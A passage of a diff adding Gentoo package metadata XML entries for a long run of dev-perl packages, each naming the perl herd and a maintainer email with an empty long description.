+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/OpenCA-REQ">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/OpenCA-X509">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/PDF-Create">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/PDL">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/POE">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/POP3Client">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/Params-Validate">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/Parse-RecDescent">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/Parse-Yapp">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/Period">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/PerlQt">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/PlRPC">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/PodParser">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/Proc-Daemon">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/Proc-ProcessTable">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/Proc-Simple">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/RPC-XML">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/RPM">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/SGMLSpm">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/SNMP_Session">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/SOAP-Lite">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/SOAP">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/Safe">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/Scalar-List-Utils">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/Set-IntSpan">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/Socket6">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/Sort-Versions">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/Storable">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/String-ShellQuote">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/Template-Toolkit">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/Term-ANSIScreen">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/Term-ProgressBar">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/Term-ReadLine-Perl">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/TermReadKey">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/Test-Harness">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/Test-Inline">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/Test-Manifest">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/Test-Simple">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/Test">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/Text-Aspell">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/Text-Balanced">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/Text-CSV">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/Text-ChaSen">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/Text-Glob">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/Text-Iconv">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/Text-Kakasi">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/Text-Shellwords">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/Text-Tabs+Wrap">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/Tie-IxHash">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/Time-Duration">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/Time-HiRes">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/Time-Local">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/Time-modules">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/TimeDate">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/Tk-PNG">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/Tk-TableMatrix">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/URI">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/Unicode-Map8">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/Unicode-String">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/Unix-Syslog">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/Validate-Net">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/X11-Protocol">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/XML-Catalog">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/XML-DOM">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/XML-DT">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/XML-Encoding">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/XML-GDOME">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/XML-Grove">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/XML-Handler-YAWriter">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/XML-LibXML-Common">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/XML-LibXML-Iterator">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/XML-LibXML-XPathContext">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/XML-LibXML">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/XML-LibXSLT">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/XML-NamespaceSupport">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/XML-NodeFilter">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/XML-Parser">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/XML-RSS">
+	<herd>perl</herd>
+	<maintainer>
+		<email>matsuu@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/XML-RegExp">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/XML-SAX">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/XML-Sablot">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/XML-Simple">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/XML-SimpleObject">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/XML-Twig">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/XML-Writer">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/XML-XPath">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/XML-XQL">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/XML-XSLT">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/XML-XUpdate-LibXML">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/Xmms-Perl">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/adocman">
+<herd>no-herd</herd>
+<maintainer>
+  <email>rizzo@gentoo.org</email>
+<!--  <name>Full name</name> -->
+<!--  <description>Description of the maintainership</description> -->
+</maintainer>
+<!-- <longdescription>Long description of the package</longdescription> -->
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/cdk-perl">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/class-loader">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/class-returnvalue">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/config-general">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/convert-ascii-armour">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/convert-pem">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/crypt-cbc">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/crypt-des-ede3">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/crypt-dh">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/crypt-dsa">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/crypt-idea">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/crypt-primes">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/crypt-random">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/crypt-rsa">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/data-buffer">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/dbix-searchbuilder">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/digest-base">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/digest-bubblebabble">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/digest-md2">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/extutils-depends">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/extutils-parsexs">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/extutils-pkgconfig">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/frontier-rpc">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/glade-perl">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/glib-perl">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/gnome2-canvas">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/gnome2-perl">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/gnome2-print">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/gtk-perl-glade">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/gtk-perl">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/gtk2-gladexml">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/gtk2-perl">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/gtk2-spell">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/i18n-langtags">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/inline-files">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/jcode_pl">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/libapreq">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/libnet">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
